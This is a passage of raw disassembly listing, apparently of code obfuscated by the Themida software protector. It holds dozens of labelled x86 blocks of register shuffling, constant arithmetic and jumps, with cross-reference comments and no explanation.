; ---------------------------------------------------------------------------
loc_5A88DB: ; CODE XREF: Themida_:005A5A8Bj
; Themida_:005A796Fj
pop esp
mov [esp], ebx
push ebp
mov ebp, 2
mov ebx, ebp
jmp loc_5A8AE0
; ---------------------------------------------------------------------------
loc_5A88EC: ; CODE XREF: Themida_:005AFB18j
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
jmp loc_5A6D48
; ---------------------------------------------------------------------------
loc_5A88FB: ; CODE XREF: Themida_:005AC224j
push cx
pushf
jmp loc_5AE1B3
; ---------------------------------------------------------------------------
loc_5A8903: ; CODE XREF: Themida_:loc_5AD280j
sub esp, 4
mov [esp], eax
mov eax, 5F3B31CAh
shl eax, 1
jmp loc_5A8DA2
; ---------------------------------------------------------------------------
loc_5A8915: ; CODE XREF: Themida_:0059F9DBj
push 2E7Fh
jmp loc_5A466C
; ---------------------------------------------------------------------------
loc_5A891F: ; CODE XREF: Themida_:005A7FADj
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
mov [esp], edi
push 1DECh
mov [esp], ebx
push esp
jmp loc_5991AE
; ---------------------------------------------------------------------------
loc_5A8939: ; CODE XREF: Themida_:005AB78Fj
xor cl, dh
xor dh, cl
jmp loc_5A6C8E
; ---------------------------------------------------------------------------
loc_5A8942: ; CODE XREF: Themida_:0059ED4Bj
sub esi, ebp
pop ebp
mov edi, 0E0D7FFF7h
jmp loc_5A8579
; ---------------------------------------------------------------------------
loc_5A894F: ; CODE XREF: Themida_:0059D5EFj
inc ebp
add ebp, 0D648FBC7h
xor edx, ebp
jmp loc_59E42C
; ---------------------------------------------------------------------------
loc_5A895D: ; CODE XREF: Themida_:005AC0D7j
mov dh, 7Fh
jmp loc_5A1FCA
; ---------------------------------------------------------------------------
loc_5A8964: ; CODE XREF: Themida_:0059E3A3j
add esp, 4
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_59F5FD
; ---------------------------------------------------------------------------
loc_5A897E: ; CODE XREF: Themida_:005A394Ej
mov edx, 34CE41F2h
add ebx, edx
pop edx
push 1B7Eh
mov [esp], ecx
jmp loc_5AA8D6
; ---------------------------------------------------------------------------
loc_5A8993: ; CODE XREF: Themida_:005A97FFj
push edi
mov edi, 535A3417h
jmp loc_5A30D9
; ---------------------------------------------------------------------------
loc_5A899E: ; CODE XREF: Themida_:005AECD2j
pop esp
push edi
mov edi, 430B6150h
add edi, 0FFFFFFFFh
push edi
xchg ebp, [esp]
jmp loc_5A114E
; ---------------------------------------------------------------------------
loc_5A89B1: ; CODE XREF: Themida_:005A5359j
or ebp, 340C2D94h
xor ebp, 3D6A4AB6h
add ecx, 14350F77h
sub ecx, 0D961A3Bh
sub ecx, ebp
add ecx, 0D961A3Bh
sub ecx, 14350F77h
pop ebp
jmp loc_59A6C5
; ---------------------------------------------------------------------------
loc_5A89DD: ; CODE XREF: Themida_:005A6022j
mov ebp, [esp]
add esp, 4
xchg edi, [esp]
mov esp, [esp]
xor ebp, [esp]
jmp loc_59E248
; ---------------------------------------------------------------------------
loc_5A89F4: ; CODE XREF: Themida_:005AB512j
add ebp, 4
push edx
mov edx, 4
sub ebp, 1F097EF7h
add ebp, edx
add ebp, 1F097EF7h
pop edx
xchg ebp, [esp]
jmp loc_59BC30
; ---------------------------------------------------------------------------
loc_5A8A17: ; CODE XREF: Themida_:005A3D80j
add esp, 4
neg esi
or esi, 74882515h
add esi, 532317Ah
xor ecx, esi
pop esi
push esi
jmp loc_59B8EB
; ---------------------------------------------------------------------------
loc_5A8A34: ; CODE XREF: Themida_:005A93FEj
inc ebp
jg loc_5A77C4
jmp loc_5A223B
; ---------------------------------------------------------------------------
xor edx, 5414589Ch
pop eax
loc_5A8A47: ; CODE XREF: Themida_:0059ABD3j
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
jmp loc_5ADCA2
; ---------------------------------------------------------------------------
loc_5A8A63: ; CODE XREF: Themida_:005A3250j
mov ax, [esp]
jmp loc_59EA63
; ---------------------------------------------------------------------------
loc_5A8A6C: ; CODE XREF: Themida_:005A98DFj
and dh, 0F2h
or dh, 0C2h
jp loc_59E336
not dh
jmp loc_5AEFF4
; ---------------------------------------------------------------------------
mov edx, ebx
xor al, 40h
loc_5A8A83: ; CODE XREF: Themida_:0059FDBBj
inc ecx
jnp loc_5AF8E2
jmp loc_59B00B
; ---------------------------------------------------------------------------
loc_5A8A8F: ; CODE XREF: Themida_:005AB870j
or dword ptr [edx+38h], 43762E44h
jnb loc_5A849E
shl dword ptr [edx+38h], 5
jmp loc_5A256D
; ---------------------------------------------------------------------------
push eax
mov edx, edx
push ebp
loc_5A8AA9: ; CODE XREF: Themida_:005A2F3Fj
jnp loc_5A7C1A
inc ebp
jg loc_59BC65
push eax
mov eax, 1
jmp loc_5A098E
; ---------------------------------------------------------------------------
pop eax
pop ecx
loc_5A8AC3: ; CODE XREF: Themida_:005A53B3j
xchg ecx, [esp]
pop esp
mov [esp], bx
push edx
mov dl, 56h
push ecx
push ebx
jmp loc_5A5ABF
; ---------------------------------------------------------------------------
loc_5A8AD5: ; CODE XREF: Themida_:005AC0AFj
push edx
mov edx, 78320882h
jmp loc_5A0A99
; ---------------------------------------------------------------------------
loc_5A8AE0: ; CODE XREF: Themida_:005A88E7j
pop ebp
add ecx, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5AC36B
; ---------------------------------------------------------------------------
loc_5A8AF1: ; CODE XREF: Themida_:0059A22Aj
pop edi
jmp loc_5AE85E
; ---------------------------------------------------------------------------
loc_5A8AF7: ; CODE XREF: Themida_:005AF9A8j
xchg ebp, edi
not ebp
xchg ebp, edi
add edi, 3FD652D3h
sub edi, 754348DAh
sub esi, edi
mov edi, [esp]
add esp, 4
jmp loc_5AACB8
; ---------------------------------------------------------------------------
loc_5A8B16: ; CODE XREF: Themida_:005A5525j
mov al, 9Eh
dec al
jmp loc_59B37B
; ---------------------------------------------------------------------------
loc_5A8B1F: ; CODE XREF: Themida_:005AA0FDj
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_5A71E1
; ---------------------------------------------------------------------------
loc_5A8B31: ; CODE XREF: Themida_:005989F8j
add esp, 4
add esp, 4
push ebp
jmp loc_5AB39F
; ---------------------------------------------------------------------------
loc_5A8B40: ; CODE XREF: Themida_:005AE6DDj
jnz loc_5AD0FA
jmp loc_5A8F0C
; ---------------------------------------------------------------------------
push edx
push ecx
push 1E52883h
pop ecx
push ecx
loc_5A8B54: ; CODE XREF: Themida_:0059C248j
or cl, 2Bh
xor cl, 0CFh
add dl, cl
pop ecx
or ah, dl
pop edx
add ah, 0
mov ch, ah
pop eax
or ch, 2Ah
shr ch, 1
jmp loc_5A0409
; ---------------------------------------------------------------------------
loc_5A8B70: ; CODE XREF: Themida_:0059CEDBj
inc ebp
jmp loc_59D5E0
; ---------------------------------------------------------------------------
loc_5A8B76: ; CODE XREF: Themida_:005AAD20j
add esp, 4
jmp loc_5A74FF
; ---------------------------------------------------------------------------
loc_5A8B81: ; CODE XREF: Themida_:0059E976j
push ebp
push edi
jmp loc_5A3E87
; ---------------------------------------------------------------------------
loc_5A8B88: ; CODE XREF: Themida_:0059AD62j
inc edx
jnz loc_5A34BD
shr edx, 4
jz loc_5A42FE
mov bl, 0DAh
push edi
loc_5A8B9B: ; CODE XREF: Themida_:005A25F1j
add esp, 4
movzx eax, al
jmp loc_59F8F2
; ---------------------------------------------------------------------------
loc_5A8BA9: ; CODE XREF: Themida_:005A6D36j
pop ebp
add esp, 4
loc_5A8BB0: ; CODE XREF: Themida_:0059A393j
push 59F7h
mov [esp], ecx
push eax
mov eax, 3E732A59h
sub eax, 330A7263h
xor eax, 621B3647h
jmp loc_5A9804
; ---------------------------------------------------------------------------
loc_5A8BCD: ; CODE XREF: Themida_:005ACCD6j
neg ebx
dec ebx
neg ebx
jnb loc_5A1C0B
jmp loc_59DCF2
; ---------------------------------------------------------------------------
loc_5A8BDD: ; CODE XREF: Themida_:005AF2CFj
not ebx
xor ebx, 5DCF7AC2h
jo loc_5A6F42
add ebx, 662674F9h
xor ebx, 0E1DB7EFDh
push ebx
jmp loc_5AAC11
; ---------------------------------------------------------------------------
loc_5A8BFD: ; CODE XREF: Themida_:005A7804j
mov ecx, esi
jmp loc_5A94ED
; ---------------------------------------------------------------------------
loc_5A8C04: ; CODE XREF: Themida_:005AE9C2j
push edx
push ecx
mov ecx, 23CE588Ch
push ebx
mov ebx, 10F5AA11h
mov edx, ebx
pop ebx
add edx, ecx
jmp loc_5AD527
; ---------------------------------------------------------------------------
loc_5A8C1B: ; CODE XREF: Themida_:005AEA77j
mov ebp, ebx
jmp loc_5A1FF3
; ---------------------------------------------------------------------------
loc_5A8C22: ; CODE XREF: Themida_:005A1C7Ej
; Themida_:005A21BFj
push ebx
jmp loc_5A9107
; ---------------------------------------------------------------------------
loc_5A8C28: ; CODE XREF: Themida_:005AFDA3j
not esi
xor esi, 4CC30AEAh
jl loc_5ACA82
jmp loc_59F89E
; ---------------------------------------------------------------------------
push edi
and bh, 0D0h
pop edx
loc_5A8C40: ; CODE XREF: Themida_:005ADDE6j
push 1DA0h
mov [esp], esi
jmp loc_59BFB5
; ---------------------------------------------------------------------------
loc_5A8C4D: ; CODE XREF: Themida_:005A7CA8j
; Themida_:005AC1CFj
or eax, edi
pop edi
shr eax, 5
sub eax, 1
xor eax, 766B4455h
add edi, eax
pop eax
push ebx
mov ebx, 0FE3563Fh
add edi, ebx
pop ebx
sub edi, 35F8666Ch
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_5A3719
; ---------------------------------------------------------------------------
loc_5A8C7E: ; CODE XREF: Themida_:005AD2CFj
jbe loc_5A1099
add ebp, 18D9CE2Ch
sub [esp+4], ebp
mov ebx, edi
push ebx
loc_5A8C91: ; CODE XREF: Themida_:0059E57Bj
mov ebp, 4
jmp loc_5A862A
; ---------------------------------------------------------------------------
loc_5A8C9B: ; CODE XREF: Themida_:005A0B1Ej
xor ch, 0C6h
sub al, 0A4h
sub al, ch
add al, 0A4h
jmp loc_5A0272
; ---------------------------------------------------------------------------
loc_5A8CA9: ; CODE XREF: Themida_:0059AF5Ej
pop esp
mov ebx, [esp]
jmp loc_5A69AE
; ---------------------------------------------------------------------------
loc_5A8CB2: ; CODE XREF: Themida_:005AF389j
push edi
push edx
mov edx, 2D634804h
mov edi, 61665F4h
jmp loc_5AB28F
; ---------------------------------------------------------------------------
loc_5A8CC3: ; CODE XREF: Themida_:0059AEE5j
push ebp
mov ebp, 7FB70AB4h
sub ebx, 676F6408h
add ebx, ebp
add ebx, 676F6408h
mov ebp, [esp]
add esp, 4
jmp loc_5A737C
; ---------------------------------------------------------------------------
loc_5A8CE5: ; CODE XREF: Themida_:005A4179j
pop esp
mov [esp], ebp
push edx
jmp loc_5A59CF
; ---------------------------------------------------------------------------
loc_5A8CEF: ; CODE XREF: Themida_:loc_5A0180j
dec edx
jns loc_59B754
sub edx, 0FFFFFFFFh
sub edx, 65B9A54h
mov ecx, edx
pop edx
mov bl, ch
push edx
loc_5A8D05: ; CODE XREF: Themida_:005A327Dj
pop ebx
jmp loc_5AAF83
; ---------------------------------------------------------------------------
loc_5A8D0B: ; CODE XREF: Themida_:0059C599j
and edi, 4E8C53A5h
xor edi, 0DF6AB455h
jmp loc_599944
; ---------------------------------------------------------------------------
loc_5A8D1C: ; CODE XREF: Themida_:0059F608j
add [esp], eax
add dword ptr [esp], 136F2CB3h
push ebp
jmp loc_5AC950
; ---------------------------------------------------------------------------
loc_5A8D2C: ; CODE XREF: Themida_:005A1F05j
pop edx
push ebx
jmp loc_5AB517
; ---------------------------------------------------------------------------
loc_5A8D33: ; CODE XREF: Themida_:005A62DDj
pop eax
pop dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
xor esi, eax
xor eax, esi
xor esi, eax
push 494Dh
mov [esp], eax
push 4100h
mov [esp], esi
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
pop esi
jmp loc_5ABDDC
; ---------------------------------------------------------------------------
loc_5A8D77: ; CODE XREF: Themida_:005A8693j
push ebx
push 3EFA0F7Ch
pop ebx
add ebx, 31D579C0h
shr ebx, 4
jnz loc_5A8E0E
not ebx
sub ebx, 0F8F30768h
jmp loc_5A8F51
; ---------------------------------------------------------------------------
loc_5A8D9A: ; CODE XREF: Themida_:005A5F08j
mov ecx, [esp]
jmp loc_5AB85A
; ---------------------------------------------------------------------------
loc_5A8DA2: ; CODE XREF: Themida_:005A8910j
add eax, 7EF74A17h
sub edx, eax
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
jmp loc_5A413B
; ---------------------------------------------------------------------------
loc_5A8DBD: ; CODE XREF: Themida_:0059933Bj
jz loc_5ACD2C
add bh, 0DEh
mov dl, bh
jmp loc_5AB66B
; ---------------------------------------------------------------------------
loc_5A8DCD: ; CODE XREF: Themida_:005AD6BAj
pop esi
push ebx
push dword ptr [esp+4]
jmp loc_5994E7
; ---------------------------------------------------------------------------
loc_5A8DD8: ; CODE XREF: Themida_:005AE54Bj
jmp loc_5A3B70
; ---------------------------------------------------------------------------
loc_5A8DDD: ; CODE XREF: Themida_:0059B49Aj
; Themida_:005A3B6Bj
pop esi
xor edi, ecx
jmp loc_5A6B55
; ---------------------------------------------------------------------------
loc_5A8DE5: ; CODE XREF: Themida_:0059D756j
add dword ptr [esp], 4
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push eax
mov eax, 471C1E27h
sub [esp+8], eax
pop eax
sub [esp+4], eax
jmp loc_5A980A
; ---------------------------------------------------------------------------
loc_5A8E0E: ; CODE XREF: Themida_:005A8D87j
not ebx
sub ebx, 0F8F30768h
jmp loc_5AD230
; ---------------------------------------------------------------------------
loc_5A8E1B: ; CODE XREF: Themida_:0059AF96j
sub esp, 4
mov [esp], ebp
push esp
jmp loc_59C552
; ---------------------------------------------------------------------------
loc_5A8E27: ; CODE XREF: Themida_:005ACE28j
pop eax
add bl, al
push 7D58h
mov [esp], ecx
mov ch, 9Bh
push 302Ah
mov [esp], edx
push eax
jmp loc_598F0C
; ---------------------------------------------------------------------------
loc_5A8E42: ; CODE XREF: Themida_:005A8F64j
xor ebp, 4E0F5DDEh
inc ebp
shr ebp, 5
xor ebp, 53436D2Dh
jo loc_59F424
jmp loc_5ACBA9
; ---------------------------------------------------------------------------
loc_5A8E5D: ; CODE XREF: Themida_:0059BB99j
mov ecx, ebx
pop ebx
pop edx
sub ebp, 459C637Ch
add ebp, ecx
add ebp, 459C637Ch
mov ecx, [esp]
push ebx
push esp
pop ebx
jmp loc_59F5D8
; ---------------------------------------------------------------------------
loc_5A8E7A: ; CODE XREF: Themida_:005ABE5Bj
mov esi, [esp]
jmp loc_5A0ED4
; ---------------------------------------------------------------------------
loc_5A8E82: ; CODE XREF: Themida_:005ADE84j
add edx, 58673B8Fh
sub edx, ecx
push eax
mov eax, 59A600B0h
jmp loc_59CCAD
; ---------------------------------------------------------------------------
loc_5A8E95: ; CODE XREF: Themida_:005A6152j
pop edx
inc edi
add edi, 0B3A40BCh
add edi, 51FF336Bh
jmp loc_5A882E
; ---------------------------------------------------------------------------
loc_5A8EA8: ; CODE XREF: Themida_:00599D96j
mov ecx, esp
push ebp
mov ebp, 4
add ecx, ebp
jmp loc_59F2AB
; ---------------------------------------------------------------------------
loc_5A8EB7: ; CODE XREF: Themida_:0059CA3Fj
pop eax
jmp loc_5ADE34
; ---------------------------------------------------------------------------
loc_5A8EBD: ; CODE XREF: Themida_:005ABE09j
sub edx, 47EE0FBFh
sub edx, 5D2B7F12h
jl loc_5A9358
or edx, 7A82E57h
jz loc_5A6126
xor al, 0BFh
pop ebp
loc_5A8EDE: ; CODE XREF: Themida_:005A38F4j
pop ecx
xor ecx, 420B016Eh
push esi
mov esi, 1F6D0184h
sub esi, 0E508E1E5h
sub ecx, esi
pop esi
push eax
mov eax, 72083861h
not eax
jmp loc_59D40D
; ---------------------------------------------------------------------------
loc_5A8F01: ; CODE XREF: Themida_:005A1CEBj
; Themida_:005A7E8Bj ...
sub ebx, ebp
pop ebp
add ebx, edx
push ecx
jmp loc_5A8027
; ---------------------------------------------------------------------------
loc_5A8F0C: ; CODE XREF: Themida_:005A6BD7j
; Themida_:005A8B46j
xor ebp, 0FA58E764h
jmp loc_5A0D61
; ---------------------------------------------------------------------------
loc_5A8F17: ; CODE XREF: Themida_:005A1D65j
add esp, 4
push eax
push edi
jmp loc_59CF62
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A8F28: ; CODE XREF: Themida_:0059A050j
push edx
mov edx, 61633E00h
add edx, 1AA8C577h
jmp loc_59B384
; ---------------------------------------------------------------------------
loc_5A8F39: ; CODE XREF: Themida_:005A460Bj
mov [esp], ebp
push ecx
mov ecx, 382D4099h
mov ebp, 2AA03B41h
xor ebp, ecx
mov ecx, [esp]
jmp loc_5A7BB1
; ---------------------------------------------------------------------------
loc_5A8F51: ; CODE XREF: Themida_:005A1F88j
; Themida_:005A8D95j
xor ebp, ecx
mov ecx, [esp]
add esp, 4
neg ebp
jns loc_5A01E9
jmp loc_5A8E42
; ---------------------------------------------------------------------------
loc_5A8F69: ; CODE XREF: Themida_:0059B4D8j
xor eax, 70A61772h
sub eax, 72EF763h
or edi, eax
pop eax
xor edi, 6FB826ABh
jz loc_5A75F9
shr edi, 1
jnz loc_5A62B7
or edi, 152627D7h
shr edi, 4
push eax
mov al, bl
pop ecx
loc_5A8F97: ; CODE XREF: Themida_:005AE8D8j
add esp, 4
jmp loc_5A2CBB
; ---------------------------------------------------------------------------
loc_5A8F9F: ; CODE XREF: Themida_:005A2335j
sub ecx, eax
mov eax, [esp]
add esp, 4
add ebx, ecx
mov ecx, [esp]
push ebp
mov ebp, esp
jmp loc_5A39F4
; ---------------------------------------------------------------------------
loc_5A8FB4: ; CODE XREF: Themida_:005ACDFEj
add dword ptr [esp], 4
pop ebp
push ecx
push eax
mov eax, 4
mov ecx, eax
pop eax
add ebp, ecx
jmp loc_59DFF3
; ---------------------------------------------------------------------------
loc_5A8FCA: ; CODE XREF: Themida_:005A175Fj
neg ah
or ah, 31h
push edx
jmp loc_5A1F56
; ---------------------------------------------------------------------------
loc_5A8FD5: ; CODE XREF: Themida_:005A303Bj
add eax, 4
jmp loc_5AD0AA
; ---------------------------------------------------------------------------
loc_5A8FDF: ; CODE XREF: Themida_:005A2203j
mov ecx, 4
add eax, ecx
pop ecx
push edi
mov edi, esp
push ecx
mov ecx, 793D449Eh
jmp loc_59B8CA
; ---------------------------------------------------------------------------
loc_5A8FF5: ; CODE XREF: Themida_:005ADD77j
push cx
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A8FFD: ; CODE XREF: Themida_:005AF9FBj
add ecx, edi
jmp loc_5A131A
; ---------------------------------------------------------------------------
loc_5A9004: ; CODE XREF: Themida_:005A9184j
sub eax, 0A8A7B8Dh
add ebx, eax
pop eax
jmp loc_5A0747
; ---------------------------------------------------------------------------
loc_5A9011: ; CODE XREF: Themida_:005AD0F5j
jmp loc_5A0F1B
; ---------------------------------------------------------------------------
loc_5A9016: ; CODE XREF: Themida_:005A26AAj
push edx
mov edx, 530785Eh
jmp loc_5A2CCC
; ---------------------------------------------------------------------------
loc_5A9021: ; CODE XREF: Themida_:0059F14Aj
mov ebp, [esp]
add esp, 4
shr esi, 3
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_5A3CCC
; ---------------------------------------------------------------------------
loc_5A903E: ; CODE XREF: Themida_:0059F29Ej
push dword ptr [esp+4]
mov esi, [esp]
jmp loc_5A2B51
; ---------------------------------------------------------------------------
loc_5A904A: ; CODE XREF: Themida_:0059C5D2j
mov edx, 2D884913h
jmp loc_599936
; ---------------------------------------------------------------------------
loc_5A9054: ; CODE XREF: Themida_:00599DF2j
; Themida_:0059CFB9j
add cl, 0E9h
add cl, dh
sub cl, 0E9h
pop edx
dec cl
and cl, 1Bh
dec cl
sub esp, 2
mov [esp], bx
mov bh, 88h
sub cl, bh
pop bx
add bl, cl
pop ecx
sub bl, al
push eax
mov eax, esp
add eax, 4
push esi
mov esi, 4
jmp loc_59E025
; ---------------------------------------------------------------------------
loc_5A908C: ; CODE XREF: Themida_:00598BF2j
; Themida_:005A2CA2j ...
push eax
mov al, dh
jmp loc_5AC063
; ---------------------------------------------------------------------------
loc_5A9094: ; CODE XREF: Themida_:005A217Aj
push ebp
push 0B2F08F0Ah
pop ebp
add ecx, ebp
pop ebp
not ecx
push ebp
jmp loc_5A0C82
; ---------------------------------------------------------------------------
loc_5A90A6: ; CODE XREF: Themida_:005A5A78j
; Themida_:005AEA99j
xor ebx, 0F7EC166Dh
push ebp
jmp loc_5ADFE3
; ---------------------------------------------------------------------------
loc_5A90B2: ; CODE XREF: Themida_:005A95EFj
mov esi, [esp]
push ebx
mov ebx, esp
push ebp
jmp loc_5A21D2
; ---------------------------------------------------------------------------
loc_5A90BE: ; CODE XREF: Themida_:005ADD6Ej
mov ecx, edx
jmp loc_5AD4D9
; ---------------------------------------------------------------------------
loc_5A90C5: ; CODE XREF: Themida_:005AD5F2j
pop ecx
jmp loc_5AEFB8
; ---------------------------------------------------------------------------
loc_5A90CB: ; CODE XREF: Themida_:005A9891j
mov eax, 0B5E307Ch
push esi
mov esi, 5ECA6CA9h
jmp loc_59AFDF
; ---------------------------------------------------------------------------
loc_5A90DB: ; CODE XREF: Themida_:005A2D9Dj
pop edx
sub ecx, 571B63A7h
sub ecx, 66D90B6Ah
sub ecx, 24E81C09h
add ecx, edi
add ecx, 24E81C09h
add ecx, 66D90B6Ah
add ecx, 571B63A7h
jmp loc_5A91ED
; ---------------------------------------------------------------------------
loc_5A9107: ; CODE XREF: Themida_:005A8C23j
mov ebx, 0
push ebx
jmp loc_5AA911
; ---------------------------------------------------------------------------
loc_5A9112: ; CODE XREF: Themida_:005A8713j
jmp loc_5A8273
; ---------------------------------------------------------------------------
loc_5A9117: ; CODE XREF: Themida_:005A1CBCj
pop edx
sub al, bl
sub al, 98h
add al, 61h
mov bx, [esp]
push edi
push esp
pop edi
add edi, 4
jmp loc_5AB43A
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
jmp loc_59BF39
; ---------------------------------------------------------------------------
loc_5A913E: ; CODE XREF: Themida_:0059BFE3j
add ebx, 18FE5BE2h
add ebx, 42430800h
jmp loc_5A3DA2
; ---------------------------------------------------------------------------
loc_5A914F: ; CODE XREF: Themida_:0059D56Bj
not edi
push eax
mov eax, 5F2A59DFh
jmp loc_5AEC3C
; ---------------------------------------------------------------------------
loc_5A915C: ; CODE XREF: Themida_:005A2FC9j
xor ebx, 14C8310Bh
push edi
mov edi, 0F7B7DADCh
add ebx, edi
pop edi
xor ebp, ebx
jmp loc_598B61
; ---------------------------------------------------------------------------
loc_5A9172: ; CODE XREF: Themida_:005A08CDj
push edi
mov edi, 4
sub edx, edi
jmp loc_5A0733
; ---------------------------------------------------------------------------
loc_5A917F: ; CODE XREF: Themida_:0059FA65j
xor eax, 5C651CE2h
jmp loc_5A9004
; ---------------------------------------------------------------------------
loc_5A9189: ; CODE XREF: Themida_:0059C2ABj
sub ebp, ecx
sub ebp, 686D676Dh
sub ebp, 42B62F9h
pop ecx
mov ecx, [esp]
add esp, 4
sub eax, ebp
pop ebp
add ebx, 10B91AD4h
jmp loc_5A23C4
; ---------------------------------------------------------------------------
loc_5A91AF: ; DATA XREF: Themida_:00598848o
lodsd
push ebp
mov ebp, 5B3D6BE9h
sub esi, 29085FE0h
sub esi, ebp
add esi, 29085FE0h
jmp loc_5A581F
; ---------------------------------------------------------------------------
loc_5A91C9: ; CODE XREF: Themida_:0059BA72j
mov ebx, 380A4211h
shr ebx, 1
shr ebx, 1
neg ebx
sub ebx, 0F1FD6F78h
add edx, ebx
pop ebx
push edx
push dword ptr [esp+4]
pop edx
jmp loc_5A0807
; ---------------------------------------------------------------------------
loc_5A91E8: ; CODE XREF: Themida_:005A4DCDj
jmp loc_5A090D
; ---------------------------------------------------------------------------
loc_5A91ED: ; CODE XREF: Themida_:loc_598C5Fj
; Themida_:005A9102j
pop edi
push ebp
mov ebp, 62FA105Dh
dec ebp
neg ebp
jmp loc_5AD790
; ---------------------------------------------------------------------------
loc_5A91FC: ; CODE XREF: Themida_:005A99E5j
mov [esp], edx
mov edx, 5F510C7Bh
neg edx
push ecx
mov ecx, 28990CB5h
sub ecx, 796D2143h
xor ecx, 37D513DFh
sub ecx, 3D03813h
sub ecx, 0FC9051A6h
jmp loc_59E25A
; ---------------------------------------------------------------------------
loc_5A9229: ; CODE XREF: Themida_:00599F51j
add edi, 77A2EF1h
sub edi, 66B26EECh
sub esi, 35D90DABh
sub esi, edi
add esi, 35D90DABh
jmp loc_5992D6
; ---------------------------------------------------------------------------
loc_5A9248: ; CODE XREF: Themida_:005ADE47j
mov esi, esp
push ebx
mov ebx, 0EBB0FFAh
dec ebx
jmp loc_59BFE8
; ---------------------------------------------------------------------------
loc_5A9256: ; CODE XREF: Themida_:0059AFE5j
or esi, 425D1736h
xor esi, 7950007Dh
xor esi, 984E8CC9h
sub eax, esi
pop esi
xor ebp, eax
pop eax
jmp loc_59D5F4
; ---------------------------------------------------------------------------
loc_5A9273: ; CODE XREF: Themida_:005AF614j
jg loc_5ADDCD
neg dh
add dh, 6
sub esp, 4
mov [esp], ecx
mov ch, dh
mov al, ch
jmp loc_5A3628
; ---------------------------------------------------------------------------
loc_5A928D: ; CODE XREF: Themida_:0059C1B6j
neg esi
neg esi
inc esi
xor esi, 5EA40B12h
mov ebx, esi
pop esi
push 6678h
jmp loc_59F58C
; ---------------------------------------------------------------------------
loc_5A92A5: ; CODE XREF: Themida_:005ACC7Dj
add eax, 1E9F386Dh
jmp loc_5AEA6E
; ---------------------------------------------------------------------------
loc_5A92AF: ; CODE XREF: Themida_:005A30B6j
mov [esp], ebp
push eax
mov eax, 3493022Eh
xor eax, 764E207Dh
jmp loc_5AA345
; ---------------------------------------------------------------------------
loc_5A92C2: ; CODE XREF: Themida_:005AD650j
dec ecx
sub esp, 4
mov [esp], ebx
mov ebx, 5644343h
jmp loc_59E0A0
; ---------------------------------------------------------------------------
loc_5A92D3: ; CODE XREF: Themida_:005A21AEj
push edx
mov edx, 717D4321h
shr edx, 2
shl edx, 1
sub edx, 0ADBE098Eh
add ebp, edx
pop edx
jmp loc_59FEBA
; ---------------------------------------------------------------------------
loc_5A92EC: ; CODE XREF: Themida_:005A7B44j
or dl, 92h
sub dl, 0CBh
add al, dl
pop edx
add al, bl
sub al, 34h
push ecx
push ebx
mov bh, 0BCh
mov ch, 0B7h
jmp loc_5ACE2D
; ---------------------------------------------------------------------------
loc_5A9304: ; CODE XREF: Themida_:005A4EA0j
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_5A2386
; ---------------------------------------------------------------------------
loc_5A9315: ; CODE XREF: Themida_:005A437Aj
mov eax, 4
jmp loc_59F76F
; ---------------------------------------------------------------------------
loc_5A931F: ; CODE XREF: Themida_:005A1410j
mov ebx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_599C13
; ---------------------------------------------------------------------------
loc_5A932C: ; CODE XREF: Themida_:loc_598D19j
xor esi, 384FB7A8h
neg esi
add esi, 294571F3h
inc esi
shl esi, 3
neg esi
jmp loc_5A0B92
; ---------------------------------------------------------------------------
loc_5A9345: ; CODE XREF: Themida_:005A2142j
mov esi, 513876B0h
xor edi, esi
jmp loc_5A9ABC
; ---------------------------------------------------------------------------
loc_5A9351: ; CODE XREF: Themida_:005A7CD3j
not dl
jmp loc_598A9D
; ---------------------------------------------------------------------------
loc_5A9358: ; CODE XREF: Themida_:005A8EC9j
or edx, 7A82E57h
jz loc_5A0033
jmp loc_59A324
; ---------------------------------------------------------------------------
loc_5A9369: ; CODE XREF: Themida_:005A2A01j
sub ebx, 10180D80h
jmp loc_5AE66F
; ---------------------------------------------------------------------------
loc_5A9374: ; CODE XREF: Themida_:loc_5A666Fj
jmp loc_5A27C2
; ---------------------------------------------------------------------------
loc_5A9379: ; CODE XREF: Themida_:005A0525j
add dword ptr [esp+4], 20917F2Dh
add [esp+4], ebp
sub dword ptr [esp+4], 20917F2Dh
pop ebp
mov ecx, [esp]
add esp, 4
add ecx, 4
push edx
mov edx, 2E17BD3h
neg edx
sub edx, 524C42C0h
jmp loc_59F3F3
; ---------------------------------------------------------------------------
loc_5A93AD: ; CODE XREF: Themida_:0059CCFCj
xor edi, ebp
pop ebp
xor edx, edi
jmp loc_5A7809
; ---------------------------------------------------------------------------
loc_5A93B7: ; CODE XREF: Themida_:0059F9A7j
xor edx, [esp]
pop esp
jmp loc_59F6AD
; ---------------------------------------------------------------------------
loc_5A93C0: ; CODE XREF: Themida_:005A7E38j
push ebx
mov ebx, 42460C9Bh
jmp loc_59966A
; ---------------------------------------------------------------------------
loc_5A93CB: ; CODE XREF: Themida_:005A335Dj
shr eax, 5
xor eax, 0AEB7C0Ch
jns loc_5A0A72
jmp loc_59B1E3
; ---------------------------------------------------------------------------
sub esi, 4
push esi
mov cl, 0ECh
loc_5A93E4: ; CODE XREF: Themida_:005A3A8Cj
mov [esp], ebp
mov ebp, 44B22367h
and ebp, 3F2C2C40h
jb loc_59E744
xor ebp, 60D9073Dh
jnz loc_5A8A34
inc ebp
jg loc_5AEE6A
mov dh, dl
push edx
loc_5A940E: ; CODE XREF: Themida_:005A3245j
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_59CECC
; ---------------------------------------------------------------------------
